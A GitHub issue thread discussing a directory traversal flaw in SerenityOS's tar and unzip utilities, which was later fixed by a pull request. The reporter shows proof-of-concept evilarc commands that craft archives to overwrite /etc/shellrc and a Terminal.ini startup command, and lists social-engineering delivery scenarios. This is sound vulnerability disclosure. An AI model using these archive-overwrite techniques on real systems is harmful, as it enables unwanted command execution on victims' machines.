Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

tar: Directory traversal vulnerability may lead to command execution / privilege escalation #3991

Open
bcoles opened this issue Nov 8, 2020 · 17 comments
Labels

Comments

@bcoles
Copy link
Collaborator

bcoles commented Nov 8, 2020

$ cat shellrc 
/bin/id
$ ./evilarc.py -f evil.tar.gz -o unix -p etc shellrc
Creating evil.tar.gz containing ../../../../../../../../etc/shellrc

lol

Most of the file system is mounted read-only. However, we can overwrite /etc/shellrc to gain privileges next time root uses /bin/sh.

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

Worth noting that this could also be used to gain command execution on the host, or elevate privileges to the anon user from a lower privileged user, in the event that anon extracts a malicious tar file.

anon does not have permission to write to /etc/, but so long as the /home/anon/.config directory exists, we could write a malicious Terminal.ini to /home/anon/.config/Terminal.ini with an arbitrary command in the Command= option.

$ cat Terminal.ini 
[Startup]
Command=/bin/id
[Window]
Opacity=255
AudibleBeep=0
ScrollLength=4
$ ./evilarc.py -f evil.tar.gz -o unix -p home/anon/.config Terminal.ini 
Creating evil.tar.gz containing ../../../../../../../../home/anon/.config/Terminal.ini

lol

Terminal(183): Load config file from /home/anon/.config/Terminal.ini
WindowServer(15): Decoding a ShareableBitmap with shbuf_id=100, size=[16x16]
[FinalizerTask(3:3)]: Scheduler[0]: Reaped unparented process utmpupdate(185), exit status: 0
Shell(184): Job entry "/bin/id" deleted in 241 ms
[FinalizerTask(3:3)]: Scheduler[0]: Reaped unparented process Shell(184), exit status: 0
Terminal(183): TerminalWidget: EOF on master pty, firing on_command_exit hook.
Terminal(183): Exiting terminal, updating utmp

@bcoles bcoles changed the title tar: Directory traversal vulnerability may lead to privilege escalation tar: Directory traversal vulnerability may lead to command execution / privilege escalation Nov 8, 2020
@Lubrsi
Copy link
Member

Lubrsi commented Nov 8, 2020

R.I.P. for Andreas's $5 (http://serenityos.org/bounty/)

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

R.I.P. for Andreas's $5 (http://serenityos.org/bounty/)

I suppose that depends whether Andreas believes this is of sufficient criticality to warrant an exception to the bug bounty rules.

Exploitation via this technique seems fairly likely; however, this doesn't qualify for bounty as it requires user interaction. There's nothing in userland (or Applications, or Services) which makes use of tar / unzip by default (some of the Ports might, but vulnerabilities in the Ports also do not qualify).

Although the bug bounty rules are a bit unfair due to the "unfinished" nature of the project. A lot more attack surface will be opened up once Serenity is used as a legitimate "everyday" OS (as per the project goals).

For example, everything except /bin/ is mounted no suid, and /bin/ is mounted read-only. This seems unlikely in a production deployment. Also, it is likely that installing software natively within Serenity will eventually result in some dodgy software blindly running unzip / tar on untrusted files. Similarly, #1624 was a potentially devastating bug, but not exploitable in the default configuration.

@Lubrsi
Copy link
Member

Lubrsi commented Nov 8, 2020

Remote bugs must be exploitable with an unmodified "default setup" of SerenityOS. Bugs in programs that are not started by default don't qualify.

I'm not sure if the "bugs in programs that are not started by default" applies here since it's in the same line as "Remote bugs". But, it would be best to get Andreas's clarification.

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

Remote bugs must be exploitable with an unmodified "default setup" of SerenityOS. Bugs in programs that are not started by default don't qualify.

I'm not sure if the "bugs in programs that are not started by default" applies here since it's in the same line as "Remote bugs". But, it would be best to get Andreas's clarification.

I believe the intention of that statement was to prevent bounty claims in services such as TelnetService (ie, #1735), especially as it does not currently support authentication, or non-default software (ie, Ports).

@alimpfard
Copy link
Member

I don't understand the problem here (aside from tar not warning about weird paths).
/etc is mounted rw, so provided you have write access, nothing will stop you from writing to it; same for $HOME/.config.

while tar should refuse to extract to absolute paths or whatever else, how is the fact that the user is allowed to write to something they have write access to so wrong?
echo "alias cat=echo" >> ~/.shellrc might as well be considered haxx?

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

I don't understand the problem here (aside from tar not warning about weird paths).

That's the problem. Not only should tar warn, it should outright reject the file (by default).

/etc is mounted rw, so provided you have write access, nothing will stop you from writing to it; same for $HOME/.config.

Agreed.

while tar should refuse to extract to absolute paths ...

That's the problem.

... or whatever else, how is the fact that the user is allowed to write to something they have write access to so wrong?

Image you download some software in a compressed zip/tar archive. You extract the software without the verbose flag and prepare to enjoy your totally-not-malicious software. Or perhaps you enable verbose output, but the output flies by so fast that you don't notice anything strange. Without warning, a file has been written to a parent directory without your knowledge.

For exactly this reason, modern zip/tar software will refuse to extract files if the destination path traverses outside the working directory (by default).

[2020-11-08 02:02:58] root@kali:/var/www/html/evilarc# ./evilarc.py -f evil.tar.gz -o unix -p etc shellrc
Creating evil.tar.gz containing ../../../../../../../../etc/shellrc
[2020-11-08 02:03:06] root@kali:/var/www/html/evilarc# tar zxvf evil.tar.gz 
tar: Removing leading `../../../../../../../../' from member names
tar: ../../../../../../../../etc/shellrc: Member name contains '..'
tar: Exiting with failure status due to previous errors
[2020-11-08 02:03:16] root@kali:/var/www/html/evilarc# ls -la /etc/shellrc
ls: cannot access '/etc/shellrc': No such file or directory

echo "alias cat=echo" >> ~/.shellrc might as well be considered haxx?

It sure is, presuming of course that you can make the user do that without their knowledge. That seems like a tall order. But if you've figured out mind control please tell me your secret.

@alimpfard
Copy link
Member

Not sure how that leads to privilege escalation, but I do agree with tar refusing to extract to such paths

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

Also, it is not just users that are effected. Any software that downloads then decompresses a malicious archive using the userland tar / unzip utilities would be affected. This is a possible scenario for software during software updates, or installing plugins, or perhaps during the installation process while fetching and building dependencies.

Similarly, any server software (such as web applications) which permits the user to upload a file, then subsequently decompresses the file using the userland tar / unzip utilities would be affected. Decompressing uploaded compressed archives is a common practice, although this is usually (best) performed with compression libraries, rather than forking out to userland utilities.

No software currently included with Serenity performs these actions (that I'm aware of).

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

Not sure how that leads to privilege escalation, but I do agree with tar refusing to extract to such paths

Fair call. Given that there really isn't much attack surface or usable functionality, and Serenity is basically a single user system due to the lack of login/logoff functionality, privilege escalation (to anon or to root) sounded like a good idea at the time.

In reality, this is more likely to be exploited to gain a foothold on the system by tricking a user into extracting the contents of a malicious compressed file.

The underlying issue is directory traversal leading to arbitrary file write (depending on file system permissions for the user). In terms of impact, you're correct that, in practice, command execution is a better title and more realistic scenario than privilege escalation.

Given that this is effectively a local file exploit (rather than remote) and most likely requires some form of social engineering ("here, open this"), and due to the lack of attackable functionality, I had a few scenarios in mind:

  • leave a malicious .tar.gz file lying around (free-stuff!.tar.gz) and see if a higher privileged user opens it.
  • if a user was in the habit of storing their files somewhere on the file system that is world writable, a lower privileged user could overwrite the file with a malicious file.
  • man-in-the-middle (due to inconsistent use and support of TLS throughout Serenity) replace a .tar.gz file with a malicious file during download.
  • trick a user into downloading and extracting a malicious archive.

An academic exercise at this stage of system development given the limited environment.

@awesomekling
Copy link
Member

Let's not play the game of calling everything a security vulnerability.

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

Let's not play the game of calling everything a security vulnerability.

Strange response. Here's some light reading for you to peruse with your morning coffee:

@awesomekling
Copy link
Member

Sorry, I'm just not a fan of the extreme hyperbole. These are just bugs and we can fix them. :)

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

Sorry, I'm just not a fan of the extreme hyperbole.

I posted an issue to describe an issue, clearly demonstrating why it is an issue with accompanying screenshots.

I didn't say it was critical. I didn't say it was urgent. I didn't say it was likely. I didn't claim a bug bounty.

No hyperbole. Cause and effect.

Most software has vulnerabilities. This isn't an attack on you or your ego or your skills or your project.

These are just bugs and we can fix them. :)

These are just bugs and we can fix them. :)

@awesomekling
Copy link
Member

Hmm, let me start over, I sound like such a grump..
Thank you @bcoles for finding and documenting these issues, we should definitely fix them!

I had an unnecessarily strong reaction to the "may lead to command execution / privilege escalation" suffix in the bug titles, which to me felt like noise added for dramatic effect. I'm sorry about that.

@bcoles
Copy link
Collaborator Author

bcoles commented Nov 8, 2020

@awesomekling thanks friend :)

bblenard pushed a commit to bblenard/serenity that referenced this issue Mar 10, 2021
This change validates the filenames within a tar/zip archive during
extraction. If the filename within a the archive is outside of the
current working directory the file will be skipped and not extracted
onto the host system.

Closes SerenityOS#3991
Closes SerenityOS#3992
@bblenard
Copy link

Opened a PR to fix this issue. Trying to get my feet wet with Serenity/C++ so let me know if I'm doing something silly :)

bblenard pushed a commit to bblenard/serenity that referenced this issue Mar 10, 2021
This change validates the filenames within a tar/zip archive during
extraction. If the filename within a the archive is outside of the
current working directory the file will be skipped and not extracted
onto the host system.

Closes SerenityOS#3991
Closes SerenityOS#3992
bblenard pushed a commit to bblenard/serenity that referenced this issue Mar 12, 2021
This change validates the filenames within a tar/zip archive during
extraction. If the filename within a the archive is outside of the
current working directory the file will be skipped and not extracted
onto the host system.

Closes SerenityOS#3991
Closes SerenityOS#3992
bblenard pushed a commit to bblenard/serenity that referenced this issue Mar 18, 2021
This change validates the filenames within a tar/zip archive during
extraction. If the filename within a the archive is outside of the
current working directory the file will be skipped and not extracted
onto the host system.

Closes SerenityOS#3991
Closes SerenityOS#3992
bblenard pushed a commit to bblenard/serenity that referenced this issue Mar 18, 2021
This change validates the filenames within a tar/zip archive during
extraction. If the filename within a the archive is outside of the
current working directory the file will be skipped and not extracted
onto the host system.

Closes SerenityOS#3991
Closes SerenityOS#3992
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging a pull request may close this issue.

6 participants